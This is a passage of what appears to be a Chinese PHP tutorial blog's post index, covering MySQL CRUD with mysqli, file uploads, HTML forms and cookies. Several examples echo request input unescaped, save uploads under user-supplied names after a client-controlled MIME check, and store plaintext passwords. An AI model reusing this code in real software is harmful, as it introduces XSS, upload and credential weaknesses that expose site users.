href="controls.php?fun=message_del&MessageId=<?php echo $row['Message ID']; ?>">删除</a> 点击删除链接,跳转到controls.php文件根据通过GET方式传递的参数id进行删除留言操作 1234567891011121314151617<?php\tfunction message_del($conn,int $MessageId){ if(isset($MessageId)){ $sql = "delete from comment where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('留言删除成功!');location.href='guestbook.php';</script>"; }else{ echo "<script>alert('留言删除失败!');location.href='guestbook.php';</script>"; } }} case $fun=='message_del': $MessageId = $_GET['MessageId']; $fun($conn,$MessageId); break;","tags":["PHP","编程语言"]},{"title":"PHP-MySQL","path":"/2023/09/07/f2a0f176/","content":"总字符数: 11.24K 代码: 7.08K, 文本: 2.06K 预计阅读时间: 40 分钟 一、PHP连接MySQL数据库PHP 编程语言要想操作 MySQL,执行 SQL 语句,进行增删改查,首先必须要与 MYSQL 数据库建立连接,才能进行数据的存储与查询读取.PHP 要想连接 MYSQL 数据库,需要 MySQL 服务器地址、用户名、密码和数据库名称. 实战-PHP 连接 MySQL 数据库面向对象1234567891011121314151617181920//面向对象<?php$servername = "localhost"; // Replace with your database server name$username = "root"; // Replace with your database username$password = "root123"; // Replace with your database password$dbname = "ksxt"; // Replace with your database name// Create connection$conn = new mysqli($servername, $username, $password, $dbname);// Check connectionif ($conn->connect_error) { die("Connection failed: " . $conn->connect_error);}echo "Connected successfully";// Close connection$conn->close();//面向对象关闭连接?> 面向过程12345678910111213141516<?php$servername = "localhost";$username = "root";$password = "root123"; // 创建连接$conn = mysqli_connect($servername, $username, $password); // 检测连接\tif (!$conn) { die("Connection failed: " . mysqli_connect_error());\t}\techo "连接成功";//关闭连接mysqli_close($conn);//面向过程?> 面向对象和面向过程的区别 面向对象和面向过程是两种不同的编程范式,用于组织和设计代码. 在面向过程的编程中,代码主要以过程或函数为中心,通过一系列的函数调用来完成任务.在PHP中,面向过程的方式使用mysqli或PDO扩展来连接和操作MySQL数据库.你需要手动编写连接、查询和关闭连接等功能的代码. 而在面向对象的编程中,代码主要以对象为中心,通过定义和使用类、对象、方法和属性来组织和实现功能.在PHP中,使用面向对象的方式连接MySQL数据库可以使用mysqli或PDO扩展的面向对象接口.你可以创建一个数据库连接对象,通过调用该对象的方法来执行查询、插入、更新等操作.这种方式更加灵活和易于维护,也更符合现代软件开发的需求. 连接数据库好用简洁代码(面向过程)12345678910<?php\t$servername="127.0.0.1";\t$username="root";\t$password="root123";\t$db_name="ksxt";\t$conn = mysqli_connect($servername,$username,$password,$db_name);\tif(!$conn){ die('数据库连接失败'.mysql_connect_error());\t}?> mysqli_connect_error() 函数mysqli_connect_error() 函数返回上一次连接错误的错误描述. 返回值:返回一个描述错误的字符串.如果没有错误发生则返回 NULL. 二、MySQL 语句的执行mysqli_query() 函数mysqli_query() 函数执行某个针对数据库的查询. 语法: 1mysqli_query(connection,query); 参数: connection: 必需.规定要使用的 MySQL 连接. query: 必需,规定查询字符串. 返回值:针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询,将返回一个 mysqli_result 对象.针对其他成功的查询,将返回 TRUE.如果失败,则返回 FALSE. 例:如下例子将执行从ksxt数据库中 user 表中选取user_name="admin"的内容的SQL语句: 1234567891011<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where username='admin'";$result = mysqli_query($con,$sql);?> 三、SQL语句查询结果的输出mysqli_fetch_array() 函数mysqli_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有. 注意:该函数返回的字段名是区分大小写的. 用法: 1mysqli_fetch_array(result,resulttype); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. resulttype可选.规定应该产生哪种类型的数组.可以是以下值中的一个: MYSQLI_ASSOC MYSQLI_NUM MYSQLI_BOTH 返回值:返回与读取行匹配的字符串数组.如果结果集中没有更多的行则返回 NULL. 例:如下例子将从ksxt数据库中 sys_user 表中选取username="admin" 的password数据: 1234567891011121314151617<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where user_name='admin'";$result = mysqli_query($con,$sql);while($row = mysqli_fetch_array($result)){ echo $row['user_name'] . " " . $row['password']; echo "<br>";}?> 注:由于mysqli_fetch_array()函数只从结果集中取得一行作为关联数组,那么当查询结果为多行的情况时,便可以结合一个while循环将数据逐行输出,想要输出所有的多行关联数组数据,除了可以mysqli_fetch_array()函数结合while循环,还可以使用mysqli_fetch_all() 函数. 显示结果: mysqli_fetch_all() 函数mysqli_fetch_all()函数从结果集中取得所有行作为关联数组,或数字数组,或二者兼有. 注意:该函数返回的字段名是区分大小写的. 用法: 1mysqli_fetch_all(result,resulttype); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. resulttype可选.规定应该产生哪种类型的数组.可以是以下值中的一个: MYSQLI_ASSOC MYSQLI_NUM MYSQLI_BOTH 返回值:返回包含结果行的关联数组或数字数组. 例:如下例子将从ksxt数据库中 sys_user 表中选取并输出所有username和password: 1234567891011121314151617<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user";$result = mysqli_query($con,$sql);$array=mysqli_fetch_all($result,MYSQLI_ASSOC);foreach ($array as $key => $row){ echo $row['user_name'] . " " . $row['password']; echo "<br>";}?> 四、SQL语句查询结果的行数mysqli_num_rows() 函数mysqli_num_rows() 函数返回结果集中行的数量. 语法: 1mmysqli_num_rows(result); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. 返回值:结果集中行的数量.例:如下例子将sql语句的结果集行数输出: 12345678910111213<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where user_name='康维'";$result = mysqli_query($con,$sql);echo "查询结果的行数为:".mysqli_num_rows($result);?> 五、PHP MySQL 创建数据库数据库存有一个或多个表. 你需要 CREATE 权限来创建或删除 MySQL 数据库. 接下来都将以面向过程的方式来执行sql语句. 面向过程创建数据库12345678910111213141516171819202122<?php$servername = "localhost";$username = "root";$password = "root123"; // 创建连接$conn = mysqli_connect($servername, $username, $password);// 检测连接if (!$conn) { die("连接失败: " . mysqli_connect_error());} // 创建数据库$sql = "CREATE DATABASE myDB";if (mysqli_query($conn, $sql)) { echo "数据库创建成功";} else { echo "Error creating database: " . mysqli_error($conn);} mysqli_close($conn);?> 六、PHP 创建 MySQL 表一个数据表有一个唯一名称,并有行和列组成. sql语句设计CREATE TABLE 语句用于创建 MySQL 表. 创建表前,我们需要使用 use test 来选择要操作的数据库”test”: 我们将创建一个名为 “user” 的表,有 9个列: “id”, “username”, “password”, “email” ,”phone”,”touxiang”,”address”,”sex”,”addtime”: 123456789101112create table user( `id` int not null auto_increment, `username` varchar(20) not null unique, `password` varchar(36) not null, `email` varchar(50) not null, `phone` varchar(15) not null, `touxiang` varchar(255) default './images/default.jpg', `address` varchar(255) not null, `sex` varchar(5) not null, `addtime` varchar(100) not null, primary key (id) )ENGINE=InnoDB DEFAULT CHARSET=utf8; 在设置了数据类型后,你可以为每个列指定其他选项的属性: NOT NULL - 每一行都必须含有值(不能为空),null 值是不允许的. DEFAULT value - 设置默认值 UNSIGNED - 使用无符号数值类型,0 及正数 AUTO INCREMENT - 设置 MySQL 字段的值在新增记录时每次自动增长 1 PRIMARY KEY - 设置数据表中每条记录的唯一标识. 通常列的 PRIMARY KEY 设置为 ID 数值,与 AUTO_INCREMENT 一起使用. 每个表都应该有一个主键(本列为 “id” 列),主键必须包含唯一的值. 下面是两种创建数据库方式: MySQLi - 面向过程创建数据表1234567891011121314151617181920212223242526272829303132333435<?php$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB"; // 创建连接$conn = mysqli_connect($servername, $username, $password, $dbname);// 检测连接if (!$conn) { die("连接失败: " . mysqli_connect_error());} // 使用 sql 创建数据表$sql = "create table user( `id` int not null auto_increment, `username` varchar(20) not null unique, `password` varchar(36) not null, `email` varchar(50) not null, `phone` varchar(15) not null, `touxiang` varchar(255) default './images/default.jpg', `address` varchar(255) not null, `sex` varchar(5) not null, `addtime` varchar(100) not null, primary key (id) )ENGINE=InnoDB DEFAULT CHARSET=utf8;"; if (mysqli_query($conn, $sql)) { echo "数据表 user 创建成功";} else { echo "创建数据表错误: " . mysqli_error($conn);} mysqli_close($conn);?> 七、PHP MySQL 插入数据在创建完数据库和表后,我们可以向表中添加数据. 以下为一些语法规则: PHP 中 SQL 查询语句必须使用引号 在 SQL 查询语句中的字符串值必须加引号 数值的值不需要引号 NULL 值不需要引号 INSERT INTO 语句通常用于向 MySQL 表添加新的记录: 12INSERT INTO table_name (column1, column2, column3,...)VALUES (value1, value2, value3,...) 本地test数据库已经创建了表 “user”,表字段有: “id”, “username”, “password” ,”email”,”phone”,”touxiang”,”address”,”sex”,”addtime”. 现在,让我们开始向表填充数据. 例子:向 “user” 表添加了新的记录MySQLi - 面向过程: 1234567891011121314151617181920212223<?php$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB"; // 创建连接$conn = mysqli_connect($servername, $username, $password, $dbname);// 检测连接if (!$conn) { die("Connection failed: " . mysqli_connect_error());} $sql = "insert into user(username, password,email,phone,address,sex,addtime) values('zhangsan','984556','182@qq.com','16521131154','赛客路100号','nan','2023-1-1');"; if (mysqli_query($conn, $sql)) { echo "新记录插入成功";} else { echo "Error: " . $sql . "<br>" . mysqli_error($conn);} mysqli_close($conn);?> 八、PHP MySQL Delete DELETE 语句用于从数据库表中删除行. 删除数据库中的数据DELETE FROM 语句用于从数据库表中删除记录. 语法12DELETE FROM table_nameWHERE some_column = some_value 如下删除实例 数据库myDB中user表: 下面的实例删除 “user” 表中username=’lisi’ 的记录: 12345678910111213<?php$con=mysqli_connect("127.0.0.1","root","root123","myDB");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}mysqli_query($con,"delete from user where username='lisi' ");mysqli_close($con);?> 结果: 九、PHP MySQL UpdateUPDATE 语句用于中修改数据库表中的数据. 更新数据库中的数据UPDATE 语句用于更新数据库表中已存在的记录. 语法123UPDATE table_nameSET column1=value, column2=value2,...WHERE some_column=some_value 如下更改实例,数据库myDB中user表: 这里更改 “user” 表中username=’wangwu’改成’奥特曼’: 1234567891011121314151617181920212223242526<?php// 连接到 MySQL 数据库$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB";$conn = mysqli_connect($servername, $username, $password, $dbname);// 检查连接是否成功if (!$conn) { die("连接失败: " . mysqli_connect_error());}// 执行更新操作$sql = "UPDATE user SET username = '奥特曼' WHERE username='wangwu'";if (mysqli_query($conn, $sql)) { echo "记录更新成功";} else { echo "更新失败: " . mysqli_error($conn);}// 关闭连接mysqli_close($conn);?> 结果: 十、PHP MySQL 查询数据语法:select 字段或表达式列表 [from 子句] [where 子句] [order by 子句] [limit 子句]; 123456789101112131415161718192021222324252627282930313233343536--字段或表达式列表1)字段,自然是来源于"表",则其必然依赖于 from 子句;2)表达式是类似这样一个内容:8, 8+3, now(),concat()函数是 mysql 中的系统函数,用于"连接"多个字符串;3)每个"输出项"(字段或表达式结果),都可以给其设定一个"别名"(字段别名)形式为:字段或表达式 as 别名;设置别名,实际上,表的字段并没有改变,而只是改变了"结果集"的字段名;--from 子句from 子句表示 select 部分从中"取得"数据的数据源--其实就是表.--where 子句说明:1)where 子句就是对 from 子句中的"数据源"中的数据进行筛选的条件设定,筛选的机制是"一行一行进行判断",其作用,几乎就跟各种语言中 if 语句的作用一样.2)where 子句依赖于 from 子句;3)where 子句中,通常都需要使用各种"运算符"; 算术运算符: + - * / % 比较运算符: > >= < <= =(等于) < >(不等于) ==(等于) !=(不等于) 逻辑运算符: and or not 4)对 where 子句的更进一步理解:where true 取出全部记录where false 不取出任何记录--order by 子句它用于将前面"取得"的数据以设定的标准(字段)来进行排序以输出结果.形式:order by 字段 1 [asc|desc], 字段 2 [asc|desc],......说明:1)对前面的结果数据以指定的一个或多个字段排序;2)排序可以指定正序(asc,默认值)或倒序(desc);3)多个字段的排序,都是在前一个字段排序基础上,如果还有"相等值",才继续以后续字段排序;--limit 子句含义:它用于将"前述取得的数据",按指定的行取出来:从第几行开始取出多少行;形式:limit 起始行号,要取出的行数;说明:1.起始行号都是从 0 开始算起的;2.起始行号跟数据中的任何一个字段(比如 id)没有关系;3.要取出的行数也是一个数字,自然应该是大于 0 的;4.有一个简略形式:limit 行数; 表示直接从第 0 行开始取出指定的行数,它相当于limit 0, 行数; 下面的实例读取 “user” 表中存储的所有数据,并根据 “username” 列对结果进行排序: 123456789101112131415161718192021<?php$con=mysqli_connect("127.0.0.1","root","root123","myDB");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}$result = mysqli_query($con,"select * from user order by username");while($row = mysqli_fetch_array($result)){ echo $row['username']; echo " 密码:" . $row['password']; echo " 邮箱:" . $row['email']; echo " 手机号:" . $row['phone']; echo " 性别:" . $row['sex']; echo "<br>";}mysqli_close($con);?> 结果显示:","tags":["PHP","编程语言"]},{"title":"PHP-文件上传","path":"/2023/09/06/d0324d08/","content":"总字符数: 3.57K 代码: 2.13K, 文本: 0.95K 预计阅读时间: 13 分钟 一、PHP 文件上传流程通过 PHP,可以把文件上传到服务器. 原理:文件从用户本地电脑通过传输方式(web表单)保存到服务器所在电脑指定的目录下. 1、 增加文件上传的表单:浏览器请求一个服务器的HTML脚本(包含文件上传表单) 2、 用户从本地选择一个文件(点击上传框(按钮) ) 3、 用户点击上传:文件会通过互联网传输到服务器上 4、 服务器操作系统会将文件保存到临时目录:以临时文件格式保存(windows下tmp) 5、 服务器脚本开始工作:判断文件有效 6、 服务器脚本将有效文件从临时目录移动到指定目录下(完成) 二、html中用来文件上传的表单如下上传文件的表单: 123456<form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">上传文件:</label><input type="file" name="file" id="file" /> <br /><input type="submit" name="submit" value="上传" /></form> <form>标签的 enctype 属性规定了在提交表单时要使用哪种内容类型.在表单需要二进制数据时,比如文件内容,请使用 “multipart/form-data”. <input> 标签的 type=”file” 属性规定了应该把输入作为文件来处理.举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮. 注意:允许用户上传文件是一个巨大的安全风险.请仅仅允许可信的用户执行文件上传操作. 三、php中接收接表单上传文件的脚本如下”upload.php” 文件脚本代码: 12345678910111213<?phpif ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; }else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; }?> 通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件. 第一个参数是表单的 input name,第二个下标可以是 name, type, size, tmp_name 或 error.就像这样: $_FILES["file"]["name"]- 被上传文件的名称 $_FILES["file"]["type"] -被上传文件的类型 $_FILES["file"]["size"] - 被上传文件的大小,以字节计 $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称 $_FILES["file"]["error"] - 由文件上传导致的错误代码 四、如何定义上传文件的限制如下脚本中,我们增加了对文件上传的限制.用户只能上传 .gif 或 .jpeg 文件,文件大小必须小于 20 kb: 12345678910111213141516171819202122232425<?phpif ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } }else { echo "Invalid file"; }?> 五、如何保存被上传的文件由于通过html表单上传的文件是作为临时文件存储,这个临时的文件会在脚本结束时销毁,所以我们需要将文件另存到一个固定的路径,存储被上传的文件需要用到的就是PHP move_uploaded_file() 函数 1、move_uploaded_file() 函数定义和用法: move_uploaded_file() 函数将上传的文件移动到新位置. 若成功,则返回 true,否则返回 false. 1move_uploaded_file(file,newloc) 参数: file :必需,规定要移动的文件路径. newloc : 必需,规定文件的新位置. 注:本函数仅用于通过 HTTP POST 上传的文件,如果目标文件已经存在,将会被覆盖. 2、php用来另存临时文件的代码示例上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本. 这个临时的复制文件会在脚本结束时消失.要保存被上传的文件,我们需要把它拷贝到另外的位置: 12345678910111213141516171819202122232425262728293031323334<?phpif ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } }else { echo "Invalid file"; }?> 以上例子把文件保存到了名为 “upload” 的新文件夹.","tags":["PHP","编程语言"]},{"title":"PHP-表单","path":"/2023/09/05/5a76691e/","content":"总字符数: 13.57K 代码: 7.34K, 文本: 3.42K 预计阅读时间: 47 分钟 一、PHP 表单PHP 中的 $_GET 和$_POST变量用于检索表单中的信息,比如用户输入. 表单处理有一点很重要的事情值得注意,当处理 HTML 表单时,PHP 能把来自 HTML 页面中的表单元素自动变成可供 PHP 脚本使用. PHP $_GET 变量在 PHP 中,预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值. 预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值. 从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制. 实例 1234567891011121314<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>表单</title></head><body><form action="form.php" method="get"> 用户名:<input type="text" name="username"> 密码:<input type="text" name="password"> <input type="submit" value="提交"></form></body></html> login.php1234<?php$username = $_GET['username'];$password = $_GET['password'];echo "账号:".$username."密码:".$password; 测试如下: 提交后,可看到发送到服务器的URL如下所示,而此时see.php文件即可通过$_GET变量来收集表单数据了,这里需要注意的是,表单域的名称会自动成为$_GETbuh数组中的键: 何时使用method=”get”呢? 在HTML表单中使用method=”get”时,所有变量名和值都会显示在URL中,因此在发送密码或其他敏感信息时,不应该使用该方法. 正因为变量显示在URL中,因此可在收藏夹中收藏该页面,在某些情况下,这很有用.但HTTP GET方法不适合大型的变量值,它的值不能超过2000个字符. PHP $_POST 变量在 PHP 中,预定义的 $_POST 变量用于收集来自 method=”post” 的表单中的值. 从带有POST方法的表单发送的消息,对任何人都是不可见的,也就是不会显示在浏览器的地址栏中,且对发送消息的量也没有限制.然而,默认情况下,POST方法的发送消息量最大为8MB,可通过设置php.ini文件中的post_max_size进行更改. 1234567891011121314<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>表单</title></head><body><form action="form.php" method="post"> 用户名:<input type="text" name="username"> 密码:<input type="text" name="password"> <input type="submit" value="提交"></form></body></html> login.php1234<?php$username = $_POST['username'];$password = $_POST['password'];echo "账号:".$username."密码:".$password; 点提交后,login.php通过$_POST变量来收集表单数据,表单域的名称会自动成为$_POST数组中的键 何时使用method=”post”呢? 从带有POST方法的表达发送的信息,对任何人都是不可见的,且对发送信息的量也没有限制. GET和POST的区别: 请求方式 GET POST 参数位置 url的query中 一般在content中,query也可 参数大小 受限于浏览器url大小,一般不超过32K 1G 服务器数据接收 接收1次 根据数据大小,可分多次接收 适用场景 从服务器端获取数据,不做增删改 向服务器提交数据,如何增删改操作 安全性 参数携带的url中,安全性低 相对于GET请求,安全性更高 多数浏览器对POST采用两阶段发送数据,先发请求头,再发请求体,即使参数少也会被分成两个步骤来发送,也就是第一步发header数据,第二步发body数据.HTTP为应用层协议,而再传输层有些情况TCP会出现两次连接的过程,HTTP协议本身不保存状态信息,一次请求一次相应,对TCP而言,通信次数越多反而越不可靠,最可靠的就是在一次连接中就传输完需要的消息,尽量使用GET请求来减少网络耗时,若通信时间增加,这段时间客户端与服务端一直保持连接状态,可能增加服务端负载,可靠性就会下降. GET请求会被cache,也就是GET请求能够被保持在浏览器中,尤其是当GET提交密码等重要数据,别人查看历史记录,便可直接看到这些私密数据,而POST不会进行cache.(cache:储存缓存) GET参数带在URL后面,传统IE中URL的最大可用长度为2048个字符,其他浏览器对URL长度限制实现上各不相同,而POST请求理论上无长度限制. GET提交的数据大小,不同浏览器的限制不同,一般在2K-8K之间,POST提交数据比较大,大小由服务器来设定,而且某些数据只能用POST方法携带,比如file. 全部用POST不合理,最好先把请求按功能和场景先分一下类,对数据请求频繁,数据不敏感且数据量在普通浏览器最小限定的2K范围内的,这种情况下使用GET,其他情况使用POST. GET的本质是”得”,而POST本质是”给”,且GET是”幂等”的,在这一点上,GET被认为是”安全的”,实际上服务端也可用作资源更新,但这种用法违反约定,容易造成CSRF也就是跨站请求伪造. GET安全性非常低,POST安全性较高. 获取下拉菜单的数据PHP 下拉菜单单选以下实例设置了下拉菜单三个选项,表单使用 GET 方式获取数据,action 属性值为空表示提交到当前脚本,我们可以通过 select 的 name 属性获取下拉菜单的值: teacher.php123456789101112131415161718192021<?phpif(isset($_GET['teacher'])){ $teacher = htmlspecialchars($_GET['teacher']);}if($teacher =='Allen') { echo 'Allen老师精通python语言.';} else if($teacher =='Bob') { echo 'Bob老师精通Go语言.';} else if($teacher =='Tony') { echo 'Tony老师全能大师';}?><form action="" method="get"> <select name="teacher"> <option value="">选择老师:</option> <option value="Allen">Allen</option> <option value="Bob">Bob</option> <option value="Tony">Tony</option> </select> <input type="submit" value="提交"></form> 注意:htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变.如果 string 包含无效的编码,则返回一个空的字符串 单选按钮表单PHP 单选按钮表单中 name 属性的值是一致的,value 值是不同的. 123456789101112131415161718<?phpif(isset($_GET['sex'])){ $sex = htmlspecialchars($_GET['sex']);}if($sex =='boy') { echo 'you are a boy !';} else if($sex =='girl') { echo 'you are a girl !';}else{ echo "请进行选择!!";}?><form action="" method="get"> <input type="radio" name="sex" value="boy" />男 <input type="radio" name="sex" value="girl" />女 <input type="submit" value="提交"></form> checkbox 复选框PHP checkbox复选框可以选择多个值: 1234567891011121314151617<?phpif(isset($_POST['teacher'])){ $teacher = $_POST['teacher'];}if(is_array($teacher)){ $sites = array("allen"=>"Allen老师精通Python语言","bob"=>"Bob老师精通Go语言","tony"=>"Tony老师全能大师"); foreach ($teacher as $k=>$v){ echo $sites[$v]."</br>"; }}?><form action="" method="post"> <input type="checkbox" name="teacher[]" value="allen"> Allen<br> <input type="checkbox" name="teacher[]" value="bob"> Bob<br> <input type="checkbox" name="teacher[]" value="tony"> Tony<br> <input type="submit" value="提交"></form> 表单的非空判断empty() 函数作用: 该函数用于检查一个变量是否为空,当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在.如果变量不存在的话,empty()并不会产生警告. 注意: empty() 在5.5 版本之后支持表达式了,而不仅仅是变量. 语法: bool empty ( mixed $var ) 返回值: 当 var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE. 以下的变量会被认为是空的: ""(空字符串) 0 (作为整数的0) 0.0(作为浮点数的0) "0"(作为字符串的0) NULL FALSE array()(一个空数组) $var;(一个声明了,但是没有值的变量) 如下empty()函数判断字符串是否为空: 12345678910111213141516171819<?php $str1=""; $str2='php'; if (empty($str1)) { echo '$str1' . " 为空或为 0." . "<br>"; } else { echo '$str1' . " 不为空或不为 0." . "<br>"; } if (empty($str2)) { echo '$str2' . " 为空或为 0." . "<br>"; } else { echo '$str2' . " 字符串不为空或不为0." . "<br>"; } 表单实例1. 登录表单如下登录form表单: 12345678910111213141516171819202122232425262728293031<?phpif (isset($_POST['submit'])) { if (!isset($_POST['username']) || !isset($_POST['password'])) { exit("账号或密码为空"); } $username = $_POST['username']; $password = $_POST['password']; if($username!=='admin'||$password!=='admin'){ exit("账号或密码不正确"); } echo "登录成功";}?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>登录界面</title></head><body><form action="" method="post"> <div style="text-align:center"> <h1>登录页面</h1> 用户名:<input type="text" name="username"></br> 密码:<input type="password" name="password"></br> <input type="submit" value="登录" name="submit"> <a href="register.php" target="_blank">注册</a> </div></form></body></html> 表单呈现: 2. 注册表单如下注册form表单: 123456789101112131415161718192021222324252627282930313233343536373839<?phpif(isset($_POST['submit'])){ // 获取所有数据 $username = trim($_POST['username']); $password = trim($_POST['password']); $repassword = trim($_POST['repassword']); $email = trim($_POST['email']); $phone = (int)trim($_POST['phone']); $sex = trim($_POST['sex']); $addres = trim($_POST['address']); var_dump($_POST); // 检查用户输入的主要数据是否为空等 if(empty($username)&&empty($password)&&empty($repassword)){ exit("请确认输入了账号密码"); } if($password!==$repassword){ exit("重复密码不匹配"); } // 其他的都可以检查,自行检查吧 echo "<script>alert('注册成功');</script>";}?><form action="" method="post"> <div style="text-align:center"> <h1>注册页面</h1> 用户名:<input type="text" name="username" id="username" maxlength="5"></br> 密码:<input type="password" name="password" id="password"></br> 重复密码:<input type="password" name="repassword" id="repassword"></br> 邮箱:<input type="email" name="email" id="email"></br> 手机号:<input type="number" name="phone" id="phone"></br> 性别: 男:<input type="radio" name="sex" value="boy" checked="checked"></br> 女:<input type="radio" name="sex" value="girl" checked="checked"></br> 家庭住址: <input type="text" name="address" id="address"></br> <input type="submit" value="注册" name="submit"> <a href="login.php" target="_blank">登录</a>\t</div></form> 表单呈现: 3. 留言表单如下留言form表单: 1234567891011121314151617<?phpif (isset($_POST['submit'])){ if(empty($_POST['title']&&empty($_POST['content']))){ exit("没有内容"); } echo $_POST['title']."</br>"; echo $_POST['content'];}?><form action="" method="POST"> <div style="text-align:center"> <h1>留言吧:</h1> <input type="text" name="title" placeholder="请输入留言标题"><br> <textarea name="content" rows="5" cols="50"></textarea><br> <input type="submit" value="留言" name="submit"> </div></form> 表单呈现: 4. 个人中心表单如下留言form表单: 123456789101112131415161718192021<?php$avatar = "https://gw.alicdn.com/i1/710600684/O1CN01OwjnvQ1GvJkcNOcpb_!!710600684.jpg_Q75.jpg_.webp";$username = "admin";$email = "admin@admin.com";$phone = 12998765641;$address = "扭曲丛林99号";$sex = "男";?><div style="text-align:center"> <h1>个人中心</h1> <img src="<?php echo $avatar?>" width="120" height="70"><br> <form> <input type="file" name="filename" > <input type="submit" name="submit" value="提交" ><br> 用户名:<input type="text" name="username" value="<?php echo $username?>" ><br> 邮箱:<input type="text" name="email" value="<?php echo $email?>" ><br> 手机号:<input type="text" name="phone" value="<?php echo $phone?>" ><br> 家庭住址:<input type="text" name="address" value="<?php echo $address?>" ><br> sex:<input type="text" name="sex" value="<?php echo $sex?>" ><br </form></div> 表单呈现: 二、Cookie和Session的简介Cookie和Session都是用于在Web应用程序中存储和管理用户状态信息的机制. Cookie是由Web服务器发送给Web浏览器的小数据文件,存储在用户计算机上.它可以包含有关用户的个人偏好设置、登录凭据等信息.每次用户访问该站点时,浏览器会将cookie发送回服务器,以方便Web服务器识别和跟踪用户. Session则是在服务器端创建的一段时间内存储用户状态的机制.当用户首次访问网站时,web服务器会为其分配一个唯一的session ID,并将该ID存储在cookie中.Web浏览器将在每个请求中发送该cookie,以便Web服务器可以将请求与正确的会话关联起来. 总之,Cookie存储客户端数据,而Session存储服务器端数据,并且Session比Cookie更安全,因为所有的Session数据都存储在服务器端. PHP Cookie 浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器. Cookie名称和值可以由服务器端开发者定义,这样服务器可以知道该用户是否是合法用户以及是否需要重新登录等,服务器可以设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态. 注意 :每种浏览器都可以存储COOKIE数据;各个浏览器之间的COOKIE数据不能共享 1、创建 cookie使用setcookie() 函数用于设置 cookie. 注: setcookie() 函数必须位于 <html> 标签之前. 语法: 1setcookie(name, value, expire, path, domain); 参数: 123456name\t必需.规定 cookie 的名称.value\t必需.规定 cookie 的值.expire\t可选.规定 cookie 的过期时间.path\t可选.规定 cookie 的服务器路径.domain\t可选.规定 cookie 的域名.secure\t可选.规定是否需要在安全的 HTTPS 连接来传输 cookie. 实例操作:在1.php中创建如下创建名为 user 的 cookie,并为它赋值 admin: 123<?phpsetcookie("user", "admin");?> 2、在其他页面中取回 Cookie 的值PHP 中获取cookie数据是通过超全局数组$COOKIE来实现的. 实例操作:在2.php中取回名为 user 的 cookie 的值,并把它显示在页面上: 123<?phpecho $_COOKIE["user"]; //输出COOKIE?> 输出效果: 1admin 3、删除COOKIE数据 设置有效期为过去的某一个时间 如下: 12345<?php //假设我们的网站上有一个"记住我"的功能,用户可以选择保持登录状态.当用户选中了"记住我"后,您可以使用 Cookie 